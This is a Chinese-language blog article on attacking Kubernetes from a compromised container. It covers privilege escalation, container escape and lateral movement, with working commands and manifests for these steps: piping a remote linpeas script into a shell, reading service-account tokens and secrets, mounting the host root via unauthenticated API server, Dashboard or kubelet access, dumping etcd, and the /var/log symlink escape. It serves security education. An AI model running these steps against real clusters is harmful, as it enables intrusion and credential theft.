前言
以前一有RCE的漏洞可能大家都会精神高度紧绷,但由于容器技术的成熟,很多时候可能RCE的并不是一个主机,而只是一个单独的业务pod。特别是像函数计算,流水线等等场景,你可以直接获得容器的权限,这也导致我们的安全边界有所划分。在我看来,我们可以完全把所有的业务容器当作外部攻击者可以随意控制,把安全边界划分到业务容器和我们企业内部这个边界这里。所以做好容器层面以及容器编排就十分重要。这篇文章主要是以攻击者的角度来分析当攻击者获取了容器的权限,如何进一步把自己的攻击影响范围扩大。如果您是云安全的爱好者,希望您可以从这篇文章里面有所收获。
攻击面分析
一般当我获取到了容器权限,我会以纵向和横向两个方向来切入。纵向主要是以提权逃逸为主,有时候我们反弹shell了可能权限不一定是root,这个时候就需要提权,当然更多时候是以root为主,这个时候就可以考虑逃逸到宿主机上。那么横向攻击就是横向移动,由于大多数业务场景没有做好网络隔离,那么可能我们的pod可以访问到其他的业务服务,同时在k8s的环境下,往往我们可以访问到api server等等服务,这个时候就会带来新的安全风险。
纵向攻击
提权
在实际场景中,可能我们rce之后到容器里获得的不是root权限,那么我们就需要先在容器里进行提权,获取容器的root权限,这里简单分享一下思路和工具。
linpeas
这个工具专门为提权而生,他可以检查一些常见的比如说suid,pkexec等,还会收集比如说k8s token,ak/sk等敏感信息
1 | curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh |
crontab提权
定时任务在容器里面比较场景,可能我们需要定时去执行某些任务,但是由于so依赖的问题,可能这个定时任务脚本用户不一定有权限修改,但是他依赖的so用户是可以修改的,那么我们可以通过so劫持,当下次定时任务执行的时候,他依赖的恶意so会反弹shell,导致提权
RPATH提权
RPATH全称是run-time search path它规定了可执行文件在寻找.so文件时的第一优先位置,如果RPATH配置不当,也会导致跟上面crontab提权类似的场景,因为有些应用是root服务启动的,比如说一些监控应用,这些服务大概率会伴随着系统重启而自动运行,那么我们通过RPATH劫持NEEDED的so,达到提权的效果
1 | readelf -d binary_path|egrep 'NEEDED|RPATH' |
容器逃逸
容器逃逸具体的一些常见的攻击手法可以参考上一篇文章,这里主要是介绍实际当中我们如何去发现可以逃逸的点
linpeas
在提权部分介绍的工具在容器逃逸的场景也适用,他也会做一些跟逃逸有关的检查,比如说他会去帮我们查看Cap权限,帮我们查看mount的信息等等
CDK
https://github.com/cdk-team/CDK
1 | ./cdk eva --full |
cdk也是一款很厉害的逃逸检查工具,之前使用它成功检测出docker.sock挂载逃逸
大权限的service account
由于k8s默认会挂载service account,在一般场景里面,只有kube-system里面的pod挂载的account为大权限,普通的pod里面的都是小权限
但实际场景可能不小心给这个service account设置了大权限,所以如果看到挂载的token,可以先试一下~
横向攻击
在很多场景里,容器层面加固其实做的还不错,可能没有给容器挂载比较敏感内容,没有赋予危险的Cap,导致我们可能纵向攻击一整个失败。那么不要灰心,我们直接来进行横向攻击。
横向攻击主要涉及的是网络隔离的问题,大多数时候,业务方可能不会主动去做网络隔离,因为网络隔离会使运维等等一些操作十分不方便,并且网络隔离做起来也十分麻烦,因为有些链路需要保证畅通,有些不必要的可以隔离。
扫描网段
那么横向攻击第一步要考虑的是,打什么,我怎么知道要扫哪些ip段
可以通过下面几个配置来查看
- 环境变量里的主机ip网段
- /etc/hosts里的网段
- /etc/resolv.conf里的网段
知道要打的ip段,那么我把ip段分为,k8s ip段和业务ip段
k8s
通常pod里面的环境变量会保存api server的ip,那么我们可以扫描api server这一网段的ip来发现有没有可以利用的服务
工具就使用fscan就好
1 | fscan -h 172.17.0.0/16 |
一般k8s默认做了鉴权,所以我们访问也不能像普通访问web一样,那么这里我先介绍k8s常见的两种认证方式的使用访问
认证
token认证
k8s默认会挂载serviceaccount,可以在下面两个位置发现,他的值是BASE64编码的结果
/var/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/token
实际不一定有kubectl命令,我们可以通过curl访问
这里具体访问的url可以通过在我们本地的k8s环境里面获得
1 | kubectl get pods -A -v=8 |
在返回内容里面我们可以看到请求的具体uri
1 | TOKEN="eyJhbG" |
当然我们也可以上传一个kubectl,然后配置一个kubeconfig,这里面users的name是随便取的,只需要修改token即可
1 | apiVersion: v1 |
然后正常输入命令即可
1 | kubectl --kubeconfig=config.yaml get pods -A |
证书认证
在$HOME/.kube/config里面会保存着k8s的配置文件,如果有kubectl命令就直接正常运行即可,但如果没有kubectl的话,可以使用curl
1 | cat /root/.kube/config|grep certificate-authority-data|awk '{ print $2}'|base64 -d > ca.crt |
1 | curl --cacert ca.crt --cert client.crt --key client.key https://192.168.0.222:6443/api/v1/pods?limit=500 |
当然大家可能还是都先麻烦,所以还是直接下个kubectl吧
https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux
api server未授权
http
API Server是集群控制核心,各组件通过API Server进行交互
在新版本k8s中,8080的http默认不启动,如果用户在/etc/kubernetes/manifests/kube-apiserver.yaml中把–insecure-port=0改为–insecure-port=8080并重启API server(最新版本没有insecure-port,加上就好)
1 | - --insecure-port=8080 |
1 | systemctl daemon-reload |
到达8080的请求将绕过所有认证和授权模块
因为不需要认证,我们直接创建一个挂载宿主机根目录的pod即可
1 | #!/bin/bash |
上面是创建了一个pod,也可以创建一个Deployment,同样还是直接apply -f 即可
1 | apiVersion: apps/v1 |
https
一般来说https不存在未授权,但如果这样配置之后
1 | kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous |
相当于就让匿名用户获得了cluster-admin的权限,这种在实际场景里面比较少见,一定不能这样配置
这样配置就会导致你命用户也可以获取所有的资源
1 | kubectl --insecure-skip-tls-verify -s https://192.168.2.129:6443 get pods -A |
Dashboard未授权
从1.10.1版本起,dashboard默认禁用了跳过按钮,然而用户在运行Dashboard添加了–enable-skip-login,那么攻击者就可以点击跳过登录Dashborard
而使用recommended.yaml创建的Dashboard是可靠的,即使跳过也无法操作
我们找到一个老一点版本的Dashboard
1 | https://github.com/kubernetes/dashboard/blob/v1.10.0/src/deploy/alternative/kubernetes-dashboard.yaml |
修改配置
1 | kubectl -n kube-system edit service kubernetes-dashboard |
改成NodePort
查看对应的dashboard端口,可以看到是32055
可以看到直接就匿名登录进来了,这里面我们就可以创建一个挂载宿主机根目录的容器进行逃逸,也可以直接从容器组里面访问容器执行命令
由于默认权限下dashboard的权限比较低,我们测试的时候修改成超级权限,当然实际业务不要这样做
1 | kubectl delete rolebinding kubernetes-dashboard-minimal -n kube-system |
kubelet未授权
10250
kubelet是节点代理,负责向API Server注册所在节点,kubelet同样运行API服务,默认在10250,其他组件可以通过调用API改变集群状态
/var/lib/kubelet/config.yaml
一般会把anounymou-auth设为false,即禁止匿名用户访问
并authroization设置mode为webhook,使kubelet通过API Server进行授权(即使匿名用户可以访问,也没有任何权限)
这个时候没有认证是无法使用的
如果设置anonymous-enabled为true,webhook-enabled为false,并且authorization-mode为AlawaysAllow
修改完以后重启
1 | systemctl restart kubelet |
这个时候我们可以先下载一个kubeletctl
1 | curl https://github.com/cyberark/kubeletctl/releases/download/v1.8/kubeletctl_linux_amd64 -Lo kubeletctl |
1 | ./kubeletctl pods -s 192.168.2.129 -i #加上-i忽略本身的配置文件 |
我们在kube-apiserver-ubuntu上执行命令读取配置文件
1 | ./kubeletctl run "cat /etc/kubernetes/pki/ca.crt" -p kube-apiserver-ubuntu -c kube-apiserver -n kube-system -s 192.168.2.129 -i >ca.crt |
获得到key之后运行命令,这之前需要删除一下旧的~/.kube/config
1 | mv ~/.kube/config ~/.kube/config.bk |
接下来我们按照之前的攻击手法,创建一个挂载根目录的容器进行逃逸
10255
kubelet 10255只读端口,用于查询pods信息,但这些信息中会包含环境变量等敏感信息
http://ip:10255/pods
http://ip:10255/metrics 还有一个metrics,不过还是pods里面敏感信息多
etcd未授权
etcd分为v2和v3协议,使用的存储方式完全不同,所以两个版本的数据并不兼容,对外提供的接口也是不一样的,不同版本的数据是相互隔离的
v2
可以直接用http的方式访问
http://ip:2379/v2/keys/?recursive=true
可以看到对应的key和value
v3
这里我们需要使用etcdctl工具
只列出key
1 | ./etcdctl --endpoints=http://ip:2379/ get / --prefix --keys-only |
列出key和对应的value
1 | ./etcdctl --endpoints=http://ip:2379/ get / --prefix |
k8s挂载/var/log逃逸
要满足以下条件
- 挂载了/var/log
- 容器是在一个 k8s 的环境中
- 当前 pod 的 serviceaccount 拥有 get|list|watch log 的权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
漏洞原理
1 | kubectl exec --stdin --tty escaper -- /bin/bash |
这里我们首先给予这个pods get list watch查看日志的能力
由于kubelet的访问需要认证,所以我们找到token
1 | token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) |
可以看到有许多log
这里我们只有logs的权限,没有其他的权限
下面是kubectl logs的原理
我们输入的实际路径为/logs/加上路径
而这里我们直接访问logs他其实看到的就是/var/logs整个目录
然后如果是符号连接的话,他最后其实会在宿主机上解析(kubelet运行在宿主机环境)
这个时候如果我们能够修改这些文件,并把他们变成符号链接
当我们通过kubelet访问的时候,由于kubelet是在宿主机本地解析,就导致我们可以指向任意目录
漏洞复现
因为需要我们能够修改/var/log,所以需要挂载/var/log
1 | kubectl exec --stdin --tty escaper -- /bin/bash |
然后我们创建一个符号链接
1 | ln -s / ./root_link |
可以看到宿主机的/var/log因为被挂载导致修改,这个时候我们在利用kubelet去访问,root_link会解析到宿主机/导致任意文件读取
1 | token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) |
挂载log之后敏感文件窃取
https://github.com/danielsagi/kube-pod-escape/blob/master/find_sensitive_files.py
RBAC权限配置不当
当我们拿到token之后,可以用如下命令查看当前权限
1 | kubectl --kubeconfig=config.yaml auth can-i --list |
如果我们当前的权限很小,比如说没有pod之类的权限,但是因为权限配置不当让我们有读取secret的权限,那么我们可以试图从secret里找一些可以用的敏感信息,包括但不限于大权限的service account、ak\sk、系统账密等
1 | kubectl get secret -A |
获取某个secret的具体内容
1 | kubectl describe secret default-token-6q6nt -n default |
下面的token就可以直接拿来使用
通过describe获取secret内容,有些字段可能不显示,需要利用get
1 | kubectl get secret default-token-6q6nt -o yaml |
但是这种方法获取的值都是base64 encode过的,需要我们手动base64 decode再来使用
我们可以直接通过这种方法来搜索secret的一些内容,看看有没有绑了cluster-admin大权限的account
1 | kubectl get secret -A -o yaml |grep admin |
当然也可以直接搜索password等关键字
1 | kubectl get secret -A -o yaml |grep password |
但是注意获取到值之后别忘了base64 decode一下,才是真正的密码
业务网段
业务网段一遍会出现如下可能的问题
ssh弱密码
ftp弱密码
mysql弱密码
nacos未授权
redis未授权,弱密码…
攻击者可能利用这些漏洞导致影响面扩大
Last but not least
有时候,可能一个不起眼、无关紧要的配置,导致一个重大的安全事件。安全确实让人看起来很繁琐,他制定了很多规范,让本来可以简化的操作复杂。但我们所做的一切,也是为了让整个系统更加安全,保障客户、公司的利益。